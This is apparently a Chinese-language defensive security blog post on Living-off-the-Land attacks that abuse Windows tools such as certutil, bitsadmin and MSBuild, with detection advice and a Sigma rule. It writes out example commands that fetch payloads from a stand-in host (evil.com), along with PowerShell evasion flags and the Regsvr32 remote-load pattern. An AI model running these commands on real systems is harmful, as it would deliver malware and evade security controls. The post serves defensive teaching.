引言 :如果武器就在堡垒内部,还要偷偷带枪进来吗?本期聚焦 LotL (Living off the Land) 攻击。攻击者不再费力地免杀
hack.exe,而是直接滥用系统中已存在的、受信任的合法工具(LOLBins)来执行恶意操作。作为防御者,这是最令人头疼的场景------"好人"和"坏人"拿的是同一把刀。
一、什么是 LOLBins (Living Off The Land Binaries)?
定义:Windows 操作系统中默认携带的、具有潜在危险功能的合法可执行文件。
攻击优势:
-
自带微软签名:杀毒软件不敢轻易拦截,否则会导致系统崩溃。
-
白名单通行证 :通常位于
C:\Windows\System32,很容易绕过 Application Whitelisting (AppLocker)。 -
隐蔽性强:混杂在正常运维操作中,难以区分是管理员在干活还是攻击者在入侵。
二、三大经典"杀人武器"及其防御检测
1. CertUtil:证书工具变下载器
certutil.exe本是管理证书服务的工具,但支持 HTTP 下载。
-
攻击命令:
cmd
certutil.exe -urlcache -split -f http://evil.com/malware.exe C:\Windows\Temp\a.exe -
防御视角:
-
异常点 :
certutil.exe产生网络连接(通常证书工具不联网)。 -
检测 :监控
certutil.exe的命令行参数是否包含-urlcache或-f。
-
2. BITSAdmin:后台智能传输服务
BITS 是 Windows 用来更新系统的服务,非常稳定,断点续传。
-
攻击命令:
cmd
bitsadmin /transfer myJob http://evil.com/payload.bin C:\Users\Public\payload.bin -
防御视角:
-
异常点:普通用户账户调用 BITSAdmin 创建任务。
-
检测 :监控 Event ID 59 (BITS Activity),检查下载源是否为陌生域名。
-
3. MSBuild:编译即执行
这是最危险的 LotL 技术之一。MSBuild 可以编译 .csproj文件,而攻击者可以在 XML 文件中嵌入 C# 代码。
-
攻击原理 :攻击者不需要
csc.exe(C#编译器),直接用MSBuild.exe执行内嵌代码的 XML。 -
攻击命令:
cmd
cmd
MSBuild.exe Evil.xml -
防御视角:
-
异常点 :
MSBuild.exe从临时目录或非标准路径加载 XML 文件。 -
检测 :监控
MSBuild的子进程。如果MSBuild产生了cmd.exe或powershell.exe,必是恶意。
-
三、防御实战:如何区分"运维"与"入侵"?
这是网安工程师的核心挑战。我们可以通过 上下文(Context) 和 **血缘(Parent-Child)** 来区分。
1. 进程血缘分析 (Parent-Child Analysis)
| 进程关系 | 正常场景 | 异常场景 (入侵) |
|---|---|---|
| Excel -> PowerShell | 极少发生 | 高危 (宏病毒) |
| WerFault.exe -> Cmd.exe | 极少发生 | 高危 (进程镂空/DLL侧载) |
| MSBuild -> Network | 开发机上常见 | 高危 (服务器上突然出现) |
| Svchost -> Calc.exe | 绝不可能 | 严重 (权限维持/横向移动) |
2. 命令行参数审计
攻击者往往为了省事,会使用特定的参数格式。
-
PowerShell :
-ep bypass(绕过执行策略),-enc(Base64编码),-w hidden(隐藏窗口)。 -
Regsvr32 :
/i:http://...(远程注册表组件调用,即 Squiblydoo 攻击)。
3. 限制 LOLBins 的网络访问
使用 Windows Defender Firewall with Advanced Security 或 主机防火墙:
-
禁止
certutil.exe,bitsadmin.exe,msbuild.exe访问互联网。 -
如果业务必须,只允许它们访问特定的内部 IP。
四、实战演练:构建 Sigma 检测规则
我们需要编写规则来捕捉 msbuild的异常行为。
场景:检测 MSBuild 执行了 XML 文件且产生了网络连接。
yaml
title: MSBuild 异常网络活动
id: 47e4ae4b-62c9-4a75-b3fe-3d9222c5bb9d
status: experimental
description: 检测 MSBuild 发起网络连接,通常用于执行远程代码。
author: Sec Engineer
logsource:
category: network_connection
product: windows
detection:
selection:
Image|endswith: '\msbuild.exe'
filter:
DestinationIp: '192.168.*' # 排除内网开发环境
condition: selection and not filter
level: critical
tags:
- attack.defense_evasion
- attack.t1127 # Trusted Developer Utilities Proxy Execution
五、高级防御:应用程序控制 (AppLocker / WDAC)
仅靠日志是不够的,我们需要从源头控制。
-
AppLocker:
-
默认允许
System32下的程序运行。 -
补丁 :添加规则禁止
msbuild.exe在非开发人员的电脑上运行。
-
-
Constrained Language Mode (PowerShell):
- 强制 PowerShell 运行在 Constrained Language Mode ,禁止执行
.NET代码调用,这能直接废掉 90% 的 PowerShell 免杀脚本。
- 强制 PowerShell 运行在 Constrained Language Mode ,禁止执行
六、总结与下期预告
本期我们揭露了攻击者如何利用 "系统信任" 来绕过安全软件。**记住:当文件是合法的,你就必须转而监控"行为"和"关系"。** 如果一个系统维护工具在做下载、编译或反向连接的事情,它就是木马。
下期预告:
第六期:沙箱逃逸与环境感知 ------ 当恶意软件学会"装死"。我们将探讨攻击者如何检测自己是否运行在虚拟机、沙箱或调试器中,以及作为防御者,如何修补这些"玻璃房"的漏洞,让恶意软件无处遁形。
💡 防御者备忘录
请立即检查你的 SIEM 或日志系统,搜索过去 7 天内是否有
certutil.exe访问公网 IP 的记录。如果有,请立刻进行排查。